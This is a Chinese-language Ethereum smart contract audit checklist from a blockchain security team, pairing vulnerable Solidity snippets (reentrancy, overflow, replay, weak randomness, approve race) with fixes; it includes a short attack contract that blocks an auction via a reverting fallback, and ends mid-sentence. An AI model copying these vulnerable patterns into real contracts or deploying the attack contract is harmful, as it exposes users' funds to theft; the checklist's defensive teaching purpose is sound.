-
以太坊智能合约审计 CheckList
作者:知道创宇404区块链安全研究团队
时间:2018年11月12日在以太坊合约审计checkList中,我将以太坊合约审计中遇到的问题分为5大种,包括编码规范问题、设计缺陷问题、编码安全问题、编码设计问题、编码问题隐患。其中涵盖了超过29种会出现以太坊智能合约审计过程中遇到的问题。帮助智能合约的开发者和安全工作者快速入门智能合约安全。本CheckList在完成过程中参考并整理兼容了各大区块链安全研究团队的研究成果,CheckList中如有不完善/错误的地方也欢迎大家提issue. 以太坊智能合约审计CheckList 目录
- 以太坊智能合约审计CheckList
- 以太坊合约审计checkList
- 1、编码规范问题
- 2、设计缺陷问题
- 3、编码安全问题
- 4、编码设计问题
- 5、编码问题隐患
- 以太坊合约审计checkList审计系列报告
- REF
1、编码规范问题
(1) 编译器版本
合约代码中,应指定编译器版本。建议使用最新的编译器版本
1pragma solidity ^0.4.25;老版本的编译器可能会导致各种已知的安全问题,例如https://paper.seebug.org/631/#44-dividenddistributor
v0.4.23更新了一个编译器漏洞,在这个版本中如果同时使用了两种构造函数,即
12345678contract a {function a() public{...}constructor() public{...}}会忽略其中的一个构造函数,该问题只影响v0.4.22
v0.4.25修复了下面提到的未初始化存储指针问题。
https://etherscan.io/solcbuginfo
(2) 构造函数书写问题
对应不同编译器版本应使用正确的构造函数,否则可能导致合约所有者变更
在小于0.4.22版本的solidify编译器语法要求中,合约构造函数必须和合约名字相等, 名字受到大小写影响。如:
123contract Owned {function Owned() public{}在0.4.22版本以后,引入了constructor关键字作为构造函数声明,但不需要function
123contract Owned {constructor() public {}如果没有按照对应的写法,构造函数就会被编译成一个普通函数,可以被任意人调用,会导致owner权限被窃取等更严重的后果。
(3) 返回标准
遵循ERC20规范,要求transfer、approve函数应返回bool值,需要添加返回值代码
1<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span>而transferFrom返回结果应该和transfer返回结果一致。
(4) 事件标准
遵循ERC20规范,要求transfer、approve函数触发相应的事件
1234<span class="kd">function</span> <span class="nx">approve</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">){</span><span class="nx">allowance</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">][</span><span class="nx">_spender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">_value</span><span class="p">;</span><span class="nx">emit</span> <span class="nx">Approval</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">_value</span><span class="p">)</span><span class="k">return</span> <span class="kc">true</span>(5) 假充值问题
转账函数中,对余额以及转账金额的判断,需要使用require函数抛出错误,否则会错误的判断为交易成功
12345678<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span><span class="k">if</span> <span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="nx">_value</span> <span class="o">&&</span> <span class="nx">_value</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span><span class="p">;</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span><span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_value</span><span class="p">);</span><span class="k">return</span> <span class="kc">true</span><span class="p">;</span><span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">false</span><span class="p">;</span> <span class="p">}</span><span class="p">}</span>上述代码可能会导致假充值。
正确代码如下:
123456789<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">_to</span> <span class="o">!=</span> <span class="nx">address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span><span class="nx">require</span><span class="p">(</span><span class="nx">_amount</span> <span class="o"><=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_amount</span><span class="p">);</span><span class="k">return</span> <span class="kc">true</span><span class="p">;</span><span class="p">}</span>2、设计缺陷问题
(1) approve授权函数条件竞争
approve函数中应避免条件竞争。在修改allowance前,应先修改为0,再修改为_value。
通过置0的方式,可以在一定程度上缓解条件竞争中产生的危害,合约管理人可以通过检查日志来判断是否有条件竞争情况的发生。
123<span class="kd">function</span> <span class="nx">approve</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_spender</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">){</span><span class="nx">allowance</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">][</span><span class="nx">_spender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">_value</span><span class="p">;</span><span class="k">return</span> <span class="kc">true</span>上述代码就有可能导致条件竞争。
应在approve中加入
1require((_value == 0) || (allowance[msg.sender][_spender] == 0));将allowance先改为0再改为对应数字
(2) 循环Dos问题
[1] 循环消耗问题
在合约中,不推荐使用太大次的循环
在以太坊中,每一笔交易都会消耗一定量的gas,而实际消耗量是由交易的复杂度决定的,循环次数越大,交易的复杂度越高,当超过允许的最大gas消耗量时,会导致交易失败。
真实世界事件
Simoleon (SIM) - https://paper.seebug.org/646/
Pandemica - https://bcsec.org/index/detail/id/260/tag/2
[2] 循环安全问题
合约中,应尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击
当用户需要同时向多个账户转账,我们需要对目标账户列表遍历转账,就有可能导致Dos攻击。
123456<span class="kd">function</span> <span class="nx">Distribute</span><span class="p">(</span><span class="nx">address</span><span class="p">[]</span> <span class="nx">_addresses</span><span class="p">,</span> <span class="nx">uint256</span><span class="p">[]</span> <span class="nx">_values</span><span class="p">)</span> <span class="nx">payable</span> <span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">){</span><span class="k">for</span> <span class="p">(</span><span class="nx">uint</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="nx">_addresses</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span><span class="nx">transfer</span><span class="p">(</span><span class="nx">_addresses</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span> <span class="nx">_values</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span><span class="p">}</span><span class="k">return</span> <span class="kc">true</span><span class="p">;</span><span class="p">}</span>遇到上述情况是,推荐使用withdrawFunds来让用户取回自己的代币,而不是发送给对应账户,可以在一定程序上减少危害。
上述代码如果控制函数调用,那么就可以构造巨大循环消耗gas,造成Dos问题
3、编码安全问题
(1) 溢出问题
[1] 算术溢出
在调用加减乘除时,应使用safeMath库来替代,否则容易导致算数上下溢,造成不可避免的损失
12345678910111213141516171819202122pragma solidity ^0.4.18;contract Token {mapping(address => uint) balances;uint public totalSupply;function Token(uint _initialSupply) {balances[msg.sender] = totalSupply = _initialSupply;}function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0); //可以通过下溢来绕过判断balances[msg.sender] -= _value;balances[_to] += _value;return true;}function balanceOf(address _owner) public constant returns (uint balance) {return balances[_owner];}}balances[msg.sender] - _value >= 0
可以通过下溢来绕过判断。通常的修复方式都是使用openzeppelin-safeMath,但也可以通过对不同变量的判断来限制,但很难对乘法和指数做什么限制。
正确的写法如下:
123456789<span class="kd">function</span> <span class="nx">transfer</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span> <span class="nx">success</span><span class="p">)</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">_to</span> <span class="o">!=</span> <span class="nx">address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span><span class="nx">require</span><span class="p">(</span><span class="nx">_amount</span> <span class="o"><=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">].</span><span class="nx">sub</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">=</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">].</span><span class="nx">add</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_amount</span><span class="p">);</span><span class="k">return</span> <span class="kc">true</span><span class="p">;</span><span class="p">}</span>真实世界事件
Hexagon
SMT/BEC
[2] 铸币烧币溢出问题
铸币函数中,应对totalSupply设置上限,避免因为算术溢出等漏洞导致恶意铸币增发
12345678910<span class="kd">function</span> <span class="nx">TokenERC20</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">initialSupply</span><span class="p">,</span><span class="kt">string</span> <span class="nx">tokenName</span><span class="p">,</span><span class="kt">string</span> <span class="nx">tokenSymbol</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">totalSupply</span> <span class="o">=</span> <span class="nx">initialSupply</span> <span class="o">*</span> <span class="mi">10</span> <span class="o">**</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">decimals</span><span class="p">);</span><span class="nx">balanceOf</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">=</span> <span class="nx">totalSupply</span><span class="p">;</span><span class="nx">name</span> <span class="o">=</span> <span class="nx">tokenName</span><span class="p">;</span><span class="nx">symbol</span> <span class="o">=</span> <span class="nx">tokenSymbol</span><span class="p">;</span><span class="p">}</span>上述代码中就未对totalSupply做限制,可能导致指数算数上溢。
正确写法如下:
123456789101112contract OPL {// Public variablesstring public name;string public symbol;uint8 public decimals = 18; // 18 decimalsbool public adminVer = false;address public owner;uint256 public totalSupply;function OPL() public {totalSupply = 210000000 * 10 ** uint256(decimals);...}真实世界事件
(2) 重入漏洞
call函数调用时,应该做严格的权限控制,或直接写死call调用的函数
12345<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint</span> <span class="nx">_amount</span><span class="p">)</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="nx">_amount</span><span class="p">);</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">call</span><span class="p">.</span><span class="nx">value</span><span class="p">(</span><span class="nx">_amount</span><span class="p">)();</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="p">}</span>上面代码可以使用call注入转账,将大量合约代币递归转账而出。
call注入可能导致代币窃取,权限绕过
123addr.call(data);addr.delegatecall(data);addr.callcode(data);如delegatecall,在合约内必须调用其它合约时,可以使用关键字library,这样可以确保合约是无状态而且不可自毁的。通过强制设置合约为无状态可以一定程度上缓解储存环境的复杂性,防止攻击者通过修改状态来攻击合约。
真实世界事件
The Dao
call注入
(3) 权限控制
合约中不同函数应设置合理的权限
检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰,检查合约是否正确定义并使用了modifier对关键函数进行访问限制,避免越权导致的问题。
123<span class="kd">function</span> <span class="nx">initContract</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">reader</span><span class="p">;</span><span class="p">}</span>上述代码作为初始函数不应该为public。
真实世界事件
Parity Multi-sig bug 1
Parity Multi-sig bug 2
Rubixi
(4) 重放攻击
合约中如果涉及委托管理的需求,应注意验证的不可复用性,避免重放攻击
在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。
这里举例子为transferProxy函数,该函数用于当user1转token给user3,但没有eth来支付gasprice,所以委托user2代理支付,通过调用transferProxy来完成。
12345678910111213141516171819202122<span class="kd">function</span> <span class="nx">transferProxy</span><span class="p">(</span><span class="nx">address</span> <span class="nx">_from</span><span class="p">,</span> <span class="nx">address</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_value</span><span class="p">,</span> <span class="nx">uint256</span> <span class="nx">_fee</span><span class="p">,</span><span class="nx">uint8</span> <span class="nx">_v</span><span class="p">,</span> <span class="nx">bytes32</span> <span class="nx">_r</span><span class="p">,</span> <span class="nx">bytes32</span> <span class="nx">_s</span><span class="p">)</span> <span class="kr">public</span> <span class="nx">returns</span> <span class="p">(</span><span class="kt">bool</span><span class="p">){</span><span class="k">if</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o"><</span> <span class="nx">_fee</span> <span class="o">+</span> <span class="nx">_value</span><span class="o">||</span> <span class="nx">_fee</span> <span class="o">></span> <span class="nx">_fee</span> <span class="o">+</span> <span class="nx">_value</span><span class="p">)</span> <span class="nx">revert</span><span class="p">();</span><span class="nx">uint256</span> <span class="nx">nonce</span> <span class="o">=</span> <span class="nx">nonces</span><span class="p">[</span><span class="nx">_from</span><span class="p">];</span><span class="nx">bytes32</span> <span class="nx">h</span> <span class="o">=</span> <span class="nx">keccak256</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span><span class="nx">_to</span><span class="p">,</span><span class="nx">_value</span><span class="p">,</span><span class="nx">_fee</span><span class="p">,</span><span class="nx">nonce</span><span class="p">,</span><span class="nx">address</span><span class="p">(</span><span class="k">this</span><span class="p">));</span><span class="k">if</span><span class="p">(</span><span class="nx">_from</span> <span class="o">!=</span> <span class="nx">ecrecover</span><span class="p">(</span><span class="nx">h</span><span class="p">,</span><span class="nx">_v</span><span class="p">,</span><span class="nx">_r</span><span class="p">,</span><span class="nx">_s</span><span class="p">))</span> <span class="nx">revert</span><span class="p">();</span><span class="k">if</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_value</span> <span class="o"><</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span><span class="o">||</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">+</span> <span class="nx">_fee</span> <span class="o"><</span> <span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">])</span> <span class="nx">revert</span><span class="p">();</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_to</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_value</span><span class="p">;</span><span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span> <span class="nx">_to</span><span class="p">,</span> <span class="nx">_value</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">+=</span> <span class="nx">_fee</span><span class="p">;</span><span class="nx">emit</span> <span class="nx">Transfer</span><span class="p">(</span><span class="nx">_from</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">,</span> <span class="nx">_fee</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_value</span> <span class="o">+</span> <span class="nx">_fee</span><span class="p">;</span><span class="nx">nonces</span><span class="p">[</span><span class="nx">_from</span><span class="p">]</span> <span class="o">=</span> <span class="nx">nonce</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span><span class="k">return</span> <span class="kc">true</span><span class="p">;</span><span class="p">}</span>这个函数的问题在于nonce值是可以预判的,其他变量不变的情况下,可以进行重放攻击,多次转账。
漏洞来自于Defcon2018演讲议题
Replay Attacks on Ethereum Smart Contracts
Replay Attacks on Ethereum Smart Contracts pdf4、编码设计问题
(1) 地址初始化问题
涉及到地址的函数中,建议加入
require(_to!=address(0))
验证,有效避免用户误操作或未知错误导致的不必要的损失由于EVM在编译合约代码时初始化的地址为0,如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。
这样的检查可以以最简单的方式避免未知错误、短地址攻击等问题的发生。
(2) 判断函数问题
及到条件判断的地方,使用require函数而不是assert函数,因为assert会导致剩余的gas全部消耗掉,而他们在其他方面的表现都是一致的
值得注意的是,assert存在强制一致性,对于固定变量的检查来说,assert可以用于避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用。
(3) 余额判断问题
不要假设合约创建时余额为0,可以强制转账
谨慎编写用于检查账户余额的不变量,因为攻击者可以强制发送wei到任何账户,即使fallback函数throw也不行。
攻击者可以用1wei来创建合约,然后调用
selfdestruct(victimAddress)
来销毁,这样余额就会强制转移给目标,而且目标合约没有代码执行,无法阻止。值得注意的是,在打包过程中,攻击者可以通过条件竞争在合约创建前转账,这样在合约创建时余额就不为0.
(4) 转账函数问题
在完成交易时,默认情况下推荐使用transfer而不是send完成交易
当transfer或者send函数的目标是合约时,会调用合约的fallback函数,但fallback函数执行失败时。
transfer会抛出错误并自动回滚,而send会返回false,所以在使用send时需要判断返回类型,否则可能会导致转账失败但余额减少的情况。
123456<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="nx">_amount</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="p">}</span>上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。
(5) 代码外部调用设计问题
对于外部合约优先使用pull而不是push
在进行外部调用时,总会有意无意的失败,为了避免发生未知的损失,应该经可能的把对外的操作改为用户自己来取。 错误样例:
1234567891011121314151617contract auction {address highestBidder;uint highestBid;function bid() payable {if (msg.value < highestBid) throw;if (highestBidder != 0) {if (!highestBidder.send(highestBid)) { // 可能会发生错误throw;}}highestBidder = msg.sender;highestBid = msg.value;}}当需要向某一方转账时,将转账改为定义withdraw函数,让用户自己来执行合约将余额取出,这样可以最大程度的避免未知的损失。
范例代码:
123456789101112131415161718192021222324contract auction {address highestBidder;uint highestBid;mapping(address => uint) refunds;function bid() payable external {if (msg.value < highestBid) throw;if (highestBidder != 0) {refunds[highestBidder] += highestBid; // 记录在refunds中}highestBidder = msg.sender;highestBid = msg.value;}function withdrawRefund() external {uint refund = refunds[msg.sender];refunds[msg.sender] = 0;if (!msg.sender.send(refund)) {refunds[msg.sender] = refund; // 如果转账错误还可以挽回}}}(6) 错误处理
合约中涉及到call等在address底层操作的方法时,做好合理的错误处理
1234address.call()address.callcode()address.delegatecall()address.send()这类操作如果遇到错误并不会抛出异常,而是会返回false并继续执行。
123456<span class="kd">function</span> <span class="nx">withdraw</span><span class="p">(</span><span class="nx">uint256</span> <span class="nx">_amount</span><span class="p">)</span> <span class="kr">public</span> <span class="p">{</span><span class="nx">require</span><span class="p">(</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">>=</span> <span class="nx">_amount</span><span class="p">);</span><span class="nx">balances</span><span class="p">[</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">]</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="nx">etherLeft</span> <span class="o">-=</span> <span class="nx">_amount</span><span class="p">;</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">_amount</span><span class="p">);</span><span class="p">}</span>上述代码没有校验send的返回值,如果msg.sender是合约账户,fallback调用失败时,send返回false。
所以当使用上述方法时,需要对返回值做检查并做错误处理。
123if(!someAddress.send(55)) {// Some failure code}https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls
值得注意的一点是,作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True
1call、delegatecall、callcode、staticcall在调用这类函数之前,需要对地址的有效性做检查。
(7) 弱随机数问题
智能合约上随机数生成方式需要更多考量
Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。
1234567891011121314151617181920<span class="kd">function</span> <span class="nx">airdrop</span><span class="p">()</span><span class="kr">private</span><span class="nx">view</span><span class="nx">returns</span><span class="p">(</span><span class="kt">bool</span><span class="p">)</span><span class="p">{</span><span class="nx">uint256</span> <span class="nx">seed</span> <span class="o">=</span> <span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">timestamp</span><span class="p">).</span><span class="nx">add</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">difficulty</span><span class="p">).</span><span class="nx">add</span><span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">coinbase</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="nx">gaslimit</span><span class="p">).</span><span class="nx">add</span><span class="p">((</span><span class="nx">uint256</span><span class="p">(</span><span class="nx">keccak256</span><span class="p">(</span><span class="nx">abi</span><span class="p">.</span><span class="nx">encodePacked</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">))))</span> <span class="o">/</span> <span class="p">(</span><span class="nx">now</span><span class="p">)).</span><span class="nx">add</span><span class="p">(</span><span class="nx">block</span><span class="p">.</span><span class="kt">number</span><span class="p">)</span><span class="p">)));</span><span class="k">if</span><span class="p">((</span><span class="nx">seed</span> <span class="o">-</span> <span class="p">((</span><span class="nx">seed</span> <span class="o">/</span> <span class="mi">1000</span><span class="p">)</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">))</span> <span class="o"><</span> <span class="nx">airDropTracker_</span><span class="p">)</span><span class="k">return</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span><span class="k">else</span><span class="k">return</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span><span class="p">}</span>上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。
所以在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。
这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。
有一个很棒的实现代码是dice2win的随机数生成代码。
但hash-commit-reveal最大的问题在于服务端会在用户提交之后短暂的获得整个过程中的所有数据,如果恶意进行选择中止攻击,也在一定程度上破坏了公平性。详细分析见智能合约游戏之殇——Dice2win安全分析
当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。
真实世界事件
Fomo3d薅羊毛
- https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide/
- 8万笔交易「封死」以太坊网络,只为抢夺Fomo3D大奖?
Last Winner
5、编码问题隐患
(1) 语法特性问题
在智能合约中小心整数除法的向下取整问题
在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。
该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。
错误样例
1uint x = 5 / 2; // 2正确代码
12uint multiplier = 10;uint x = (5 * multiplier) / 2;(2) 数据私密问题
注意链上的所有数据都是公开的
在合约中,所有的数据包括私有变量都是公开的,不可以将任何有私密性的数据储存在链上。
(3) 数据可靠性
合约中不应该让时间戳参与到代码中,容易受到矿工的干扰,应使用block.height等不变的数据
uint someVariable = now + 1;
if (now % 2 == 0) { // now可能被矿工控制
}
(4) gas消耗优化
对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗
123456789101112131415161718192021contract EUXLinkToken is ERC20 {using SafeMath for uint256;address owner = msg.sender;mapping (address => uint256) balances;mapping (address => mapping (address => uint256)) allowed;mapping (address => bool) public blacklist;string public constant name = "xx";string public constant symbol = "xxx";uint public constant decimals = 8;uint256 public totalSupply = 1000000000e8;uint256 public totalDistributed = 200000000e8;uint256 public totalPurchase = 200000000e8;uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);uint256 public value = 5000e8;uint256 public purchaseCardinal = 5000000e8;uint256 public minPurchase = 0.001e18;uint256 public maxPurchase = 10e18;(5) 合约用户
合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用
1234567891011contract Auction{address public currentLeader;uint256 public hidghestBid;function bid() public payable {require(msg.value > highestBid);require(currentLeader.send(highestBid));currentLeader = msg.sender;highestBid = currentLeader;}}上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。
1234567contract Attack {function () { revert(); }function Attack(address _target) payable {_target.call.value(msg.value)(bytes4(keccak256("bid()")));}}但当新的用户试图成为新的“王”时,当代码执行到
require(currentLeader.send(highestBid));
时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()
函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。(6) 日志记录
关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能
1234fonction transferOwnership(address newOwner) onlyOwner public {ownner = newOwner;emit OwnershipTransferred(owner, newowner);}(7) 回调函数
合约中定义Fallback函数,并使Fallback函数尽可能的简单
Fallback会在合约执行发生问题时调用(如没有匹配的函数时),而且当调用
send
